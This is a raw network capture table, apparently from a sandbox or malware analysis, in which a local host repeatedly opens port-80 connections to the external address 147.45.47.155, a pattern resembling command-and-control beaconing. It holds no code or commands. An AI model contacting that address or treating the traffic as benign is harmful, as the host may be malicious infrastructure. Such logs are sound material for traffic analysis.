Jun 27, 2024 07:38:14.905946016 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.905993938 CEST	49760	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.906260014 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:14.919821978 CEST	80	49761	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:15.578896999 CEST	80	49761	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:15.578999043 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.579674959 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.584599972 CEST	80	49761	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:15.786418915 CEST	80	49761	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:15.786640882 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.900628090 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.900965929 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.905832052 CEST	80	49762	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:15.905915022 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.905951023 CEST	80	49761	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:15.905999899 CEST	49761	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.906074047 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:15.910871029 CEST	80	49762	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:16.576704979 CEST	80	49762	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:16.576806068 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.577568054 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.583590984 CEST	80	49762	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:16.786216021 CEST	80	49762	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:16.786412954 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.900583982 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.900986910 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.906845093 CEST	80	49762	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:16.906888008 CEST	80	49763	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:16.906955004 CEST	49762	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.906992912 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.907147884 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:16.913722992 CEST	80	49763	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:17.578784943 CEST	80	49763	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:17.578870058 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.579499960 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.584346056 CEST	80	49763	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:17.786792994 CEST	80	49763	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:17.786878109 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.900610924 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.901374102 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.906146049 CEST	80	49763	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:17.906240940 CEST	49763	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.906323910 CEST	80	49764	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:17.906414986 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.906574965 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:17.911746979 CEST	80	49764	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:18.584752083 CEST	80	49764	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:18.587481022 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.588186979 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.593054056 CEST	80	49764	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:18.796510935 CEST	80	49764	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:18.796660900 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.900674105 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.901113033 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.905973911 CEST	80	49764	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:18.906066895 CEST	49764	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.906073093 CEST	80	49765	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:18.906155109 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.906300068 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:18.911981106 CEST	80	49765	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:19.599292994 CEST	80	49765	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:19.599422932 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.600203037 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.605669022 CEST	80	49765	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:19.811882019 CEST	80	49765	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:19.811996937 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.918894053 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.919199944 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.924175978 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:19.924268961 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.924417973 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.924499989 CEST	80	49765	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:19.924550056 CEST	49765	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:19.929208994 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:20.613004923 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:20.613091946 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.613698959 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.619724989 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:20.824635029 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:20.824701071 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.931694984 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.932041883 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.936881065 CEST	80	49767	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:20.936994076 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.937285900 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.937419891 CEST	80	49766	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:20.937486887 CEST	49766	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:20.942147970 CEST	80	49767	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:21.607880116 CEST	80	49767	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:21.607985020 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.608692884 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.613543034 CEST	80	49767	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:21.817960978 CEST	80	49767	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:21.818027973 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.931792021 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.932123899 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.936930895 CEST	80	49768	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:21.936950922 CEST	80	49767	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:21.937139034 CEST	49767	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.937154055 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.937298059 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:21.942197084 CEST	80	49768	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:22.748382092 CEST	80	49768	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:22.748462915 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:22.749198914 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:22.754091978 CEST	80	49768	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:22.957129002 CEST	80	49768	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:22.957212925 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.072503090 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.072825909 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.077754974 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:23.077791929 CEST	80	49768	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:23.077830076 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.077857971 CEST	49768	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.077980042 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.083055973 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:23.796581030 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:23.796662092 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.797486067 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:23.802392006 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:24.006814957 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:24.006900072 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.119489908 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.119875908 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.127711058 CEST	80	49769	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:24.127729893 CEST	80	49770	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:24.127788067 CEST	49769	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.127820969 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.128001928 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.135165930 CEST	80	49770	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:24.823376894 CEST	80	49770	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:24.823467016 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.824156046 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:24.829116106 CEST	80	49770	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:25.036639929 CEST	80	49770	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:25.036751032 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.152349949 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.152666092 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.157483101 CEST	80	49771	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:25.157553911 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.157639980 CEST	80	49770	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:25.157690048 CEST	49770	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.157759905 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.162513018 CEST	80	49771	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:25.862128973 CEST	80	49771	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:25.862196922 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.862920046 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:25.867789984 CEST	80	49771	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:26.071590900 CEST	80	49771	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:26.071718931 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.181843042 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.182190895 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.187134981 CEST	80	49772	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:26.187258005 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.187334061 CEST	80	49771	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:26.187393904 CEST	49771	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.187517881 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.192791939 CEST	80	49772	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:26.861005068 CEST	80	49772	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:26.861119032 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.861814976 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:26.866617918 CEST	80	49772	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:27.081276894 CEST	80	49772	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:27.081342936 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.197351933 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.197680950 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.202523947 CEST	80	49773	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:27.202616930 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.202640057 CEST	80	49772	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:27.202694893 CEST	49772	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.202832937 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.211990118 CEST	80	49773	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:27.887403011 CEST	80	49773	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:27.887474060 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.888231993 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:27.899198055 CEST	80	49773	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:28.101491928 CEST	80	49773	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:28.101619959 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.213057041 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.213392019 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.218297005 CEST	80	49774	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:28.218314886 CEST	80	49773	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:28.218384027 CEST	49773	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.218395948 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.218568087 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.223264933 CEST	80	49774	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:28.941975117 CEST	80	49774	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:28.942049980 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.942672968 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:28.947530031 CEST	80	49774	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:29.149084091 CEST	80	49774	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:29.149182081 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.262017965 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.262334108 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.268027067 CEST	80	49775	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:29.268066883 CEST	80	49774	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:29.268130064 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.268162966 CEST	49774	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.268290997 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.273674011 CEST	80	49775	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:29.974884987 CEST	80	49775	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:29.974984884 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.975655079 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:29.980530024 CEST	80	49775	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.186273098 CEST	80	49775	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.186389923 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.291141033 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.291461945 CEST	49776	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.296303034 CEST	80	49776	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.296422958 CEST	80	49775	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.296458006 CEST	49776	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.296489954 CEST	49775	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.296633959 CEST	49776	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.301378965 CEST	80	49776	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.967230082 CEST	80	49776	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.967436075 CEST	49776	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.970207930 CEST	49776	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.970556021 CEST	49777	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.975482941 CEST	80	49777	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.975559950 CEST	49777	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.975619078 CEST	80	49776	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:30.975733042 CEST	49777	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.975747108 CEST	49776	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:30.980545998 CEST	80	49777	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:31.704704046 CEST	80	49777	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:31.704766035 CEST	49777	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:31.809453011 CEST	49777	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:31.809806108 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:31.814724922 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:31.814785957 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:31.814788103 CEST	80	49777	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:31.814835072 CEST	49777	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:31.815011024 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:31.819786072 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:32.484143972 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:32.484237909 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:32.486522913 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:32.486960888 CEST	49779	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:32.491712093 CEST	80	49778	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:32.491785049 CEST	80	49779	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:32.491956949 CEST	49778	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:32.491997004 CEST	49779	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:32.492136002 CEST	49779	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:32.496975899 CEST	80	49779	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.189377069 CEST	80	49779	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.189465046 CEST	49779	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.294178009 CEST	49779	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.294447899 CEST	49780	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.299469948 CEST	80	49779	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.299534082 CEST	80	49780	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.299581051 CEST	49779	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.299598932 CEST	49780	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.300247908 CEST	49780	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.305111885 CEST	80	49780	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.963346958 CEST	80	49780	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.963423967 CEST	49780	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.968753099 CEST	49780	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.969299078 CEST	49781	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.974122047 CEST	80	49780	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.974139929 CEST	80	49781	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:33.974176884 CEST	49780	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.974257946 CEST	49781	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.981278896 CEST	49781	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:33.986063957 CEST	80	49781	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:34.662847996 CEST	80	49781	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:34.663103104 CEST	49781	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:34.779915094 CEST	49781	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:34.780200005 CEST	49782	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:34.785396099 CEST	80	49782	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:34.785494089 CEST	49782	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:34.785654068 CEST	80	49781	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:34.785764933 CEST	49781	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:34.786479950 CEST	49782	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:34.791537046 CEST	80	49782	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:35.661787987 CEST	80	49782	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:35.663156033 CEST	49782	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:35.667356014 CEST	49782	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:35.667711973 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:35.675067902 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:35.675113916 CEST	80	49782	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:35.675148010 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:35.675168037 CEST	49782	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:35.675612926 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:35.680392027 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:36.343523026 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:36.343595028 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:36.450474977 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:36.450777054 CEST	49784	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:36.455702066 CEST	80	49784	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:36.455764055 CEST	80	49783	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:36.455851078 CEST	49783	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:36.455851078 CEST	49784	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:36.456064939 CEST	49784	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:36.460958958 CEST	80	49784	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.142191887 CEST	80	49784	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.142456055 CEST	49784	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.145858049 CEST	49784	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.146151066 CEST	49785	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.151012897 CEST	80	49784	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.151051044 CEST	80	49785	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.151087999 CEST	49784	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.151156902 CEST	49785	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.151392937 CEST	49785	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.156192064 CEST	80	49785	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.859143019 CEST	80	49785	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.859224081 CEST	49785	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.965810061 CEST	49785	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.966169119 CEST	49786	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.973242998 CEST	80	49786	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.973387003 CEST	49786	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.973586082 CEST	80	49785	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:37.973741055 CEST	49786	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.973758936 CEST	49785	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:37.978565931 CEST	80	49786	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:38.668634892 CEST	80	49786	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:38.668710947 CEST	49786	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:38.671479940 CEST	49786	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:38.671829939 CEST	49787	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:38.676743984 CEST	80	49787	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:38.676801920 CEST	80	49786	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:38.676841974 CEST	49787	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:38.676964045 CEST	49787	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:38.676973104 CEST	49786	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:38.681742907 CEST	80	49787	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:39.370387077 CEST	80	49787	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:39.370445013 CEST	49787	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:39.481647968 CEST	49787	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:39.482013941 CEST	49788	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:39.486849070 CEST	80	49788	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:39.486915112 CEST	49788	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:39.487021923 CEST	80	49787	147.45.47.155	192.168.2.5
Jun 27, 2024 07:38:39.487071991 CEST	49787	80	192.168.2.5	147.45.47.155
Jun 27, 2024 07:38:39.487164974 CEST	49788	80	192.168.2.5	147.45.47.155
